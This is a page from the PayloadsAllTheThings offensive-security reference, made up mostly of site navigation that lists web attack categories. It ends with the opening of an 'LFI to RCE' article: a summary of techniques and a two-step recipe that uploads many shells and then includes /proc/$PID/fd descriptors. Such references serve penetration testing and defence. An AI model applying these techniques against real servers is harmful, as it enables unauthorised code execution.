|
<a href="../../SQL%20Injection/" class="md-nav__link">
|
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|
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|
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<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
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</a>
|
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</li>
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<li class="md-nav__item">
|
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<a href="../../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google BigQuery SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cassandra Injection
|
|
</span>
|
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DB2 Injection
|
|
</span>
|
|
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|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MSSQL Injection
|
|
</span>
|
|
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|
|
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</a>
|
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</li>
|
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<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MySQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
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|
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|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Oracle SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
PostgreSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQLite Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
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|
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<li class="md-nav__item">
|
|
<a href="../../SQL%20Injection/SQLmap/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQLmap
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_48">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Include Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
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</li>
|
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|
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|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_49">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server-Side Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SSRF Advanced Exploitation
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
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|
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|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SSRF URL for Cloud Instances
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_50">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Template Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
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|
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|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - ASP.NET
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Java
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - JavaScript
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
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|
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|
|
|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - PHP
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
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|
|
|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Python
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
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|
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|
|
|
|
|
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|
|
<li class="md-nav__item">
|
|
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection - Ruby
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
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|
|
</li>
|
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|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Tabnabbing
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Tabnabbing/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_52">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Type Juggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Type%20Juggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_53">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Upload Insecure Files
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Configuration Apache .htaccess
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_53_2">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Configuration Apache .htaccess
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.htaccess
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_54">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Cache Deception
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_55">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Sockets
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Web%20Sockets/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_56">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XPATH Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XPATH%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_57">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSLT Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSLT%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_58">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSS Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSS%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Scripting
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Filter Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Polyglot XSS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Common WAF Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CSP Bypass
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS in Angular and AngularJS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XXE Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_59">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XXE Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../XXE%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XML External Entity
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Zip Slip
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_60">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Zip Slip
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../../Zip%20Slip/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Zip Slip
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
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LEARNING AND SOCIALS
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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LEARNING AND SOCIALS
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<span class="md-ellipsis">
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Books
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</span>
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</a>
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<span class="md-ellipsis">
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Twitter
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</span>
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</a>
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Youtube
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</a>
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template vuln
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template vuln
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Vulnerability Title
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Summary
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<span class="md-ellipsis">
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LFI to RCE via /proc/*/fd
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</a>
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<span class="md-ellipsis">
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LFI to RCE via /proc/self/environ
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</a>
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<a href="#lfi-to-rce-via-iconv" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via iconv
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</span>
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</a>
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</li>
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<a href="#lfi-to-rce-via-upload" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via upload
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#lfi-to-rce-via-upload-race" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via upload (race)
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#lfi-to-rce-via-upload-findfirstfile" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via upload (FindFirstFile)
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</span>
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</a>
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</li>
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<span class="md-ellipsis">
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LFI to RCE via phpinfo()
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</span>
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</a>
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<li class="md-nav__item">
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<span class="md-ellipsis">
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LFI to RCE via controlled log file
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<span class="md-ellipsis">
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RCE via SSH
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</span>
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</a>
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<li class="md-nav__item">
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<a href="#rce-via-mail" class="md-nav__link">
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<span class="md-ellipsis">
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RCE via Mail
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#rce-via-apache-logs" class="md-nav__link">
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<span class="md-ellipsis">
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RCE via Apache logs
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</span>
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</a>
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</li>
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</ul>
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<li class="md-nav__item">
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<a href="#lfi-to-rce-via-php-sessions" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via PHP sessions
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#lfi-to-rce-via-php-pearcmd" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via PHP PEARCMD
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#lfi-to-rce-via-credentials-files" class="md-nav__link">
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<span class="md-ellipsis">
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LFI to RCE via credentials files
|
|
</span>
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</a>
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<nav class="md-nav" aria-label="LFI to RCE via credentials files">
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<a href="#windows-version" class="md-nav__link">
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<span class="md-ellipsis">
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Windows version
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Linux version
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References
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</li>
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</ul>
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</div>
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<div class="md-content" data-md-component="content">
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<article class="md-content__inner md-typeset">
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<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File Inclusion/LFI-to-RCE.md" title="Edit this page" class="md-content__button md-icon">
|
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|
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<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
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</a>
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<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/File Inclusion/LFI-to-RCE.md" title="View source of this page" class="md-content__button md-icon">
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<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
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</a>
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<h1 id="lfi-to-rce">LFI to RCE</h1>
|
|
<blockquote>
|
|
<p>LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).</p>
|
|
</blockquote>
|
|
<h2 id="summary">Summary</h2>
|
|
<ul>
|
|
<li><a href="#lfi-to-rce-via-procfd">LFI to RCE via /proc/*/fd</a></li>
|
|
<li><a href="#lfi-to-rce-via-procselfenviron">LFI to RCE via /proc/self/environ</a></li>
|
|
<li><a href="#lfi-to-rce-via-iconv">LFI to RCE via iconv</a></li>
|
|
<li><a href="#lfi-to-rce-via-upload">LFI to RCE via upload</a></li>
|
|
<li><a href="#lfi-to-rce-via-upload-race">LFI to RCE via upload (race)</a></li>
|
|
<li><a href="#lfi-to-rce-via-upload-findfirstfile">LFI to RCE via upload (FindFirstFile)</a></li>
|
|
<li><a href="#lfi-to-rce-via-phpinfo">LFI to RCE via phpinfo()</a></li>
|
|
<li><a href="#lfi-to-rce-via-controlled-log-file">LFI to RCE via controlled log file</a><ul>
|
|
<li><a href="#rce-via-ssh">RCE via SSH</a></li>
|
|
<li><a href="#rce-via-mail">RCE via Mail</a></li>
|
|
<li><a href="#rce-via-apache-logs">RCE via Apache logs</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#lfi-to-rce-via-php-sessions">LFI to RCE via PHP sessions</a></li>
|
|
<li><a href="#lfi-to-rce-via-php-pearcmd">LFI to RCE via PHP PEARCMD</a></li>
|
|
<li><a href="#lfi-to-rce-via-credentials-files">LFI to RCE via Credentials Files</a></li>
|
|
</ul>
|
|
<h2 id="lfi-to-rce-via-procfd">LFI to RCE via /proc/*/fd</h2>
|
|
<ol>
|
|
<li>Upload a lot of shells (for example : 100)</li>
|
|
<li>Include <code>/proc/$PID/fd/$FD</code> where <code>$PID</code> is the PID of the process and <code>$FD</code> the filedescriptor. Both of them can be bruteforced.</li>
|
|
</ol>
|
|
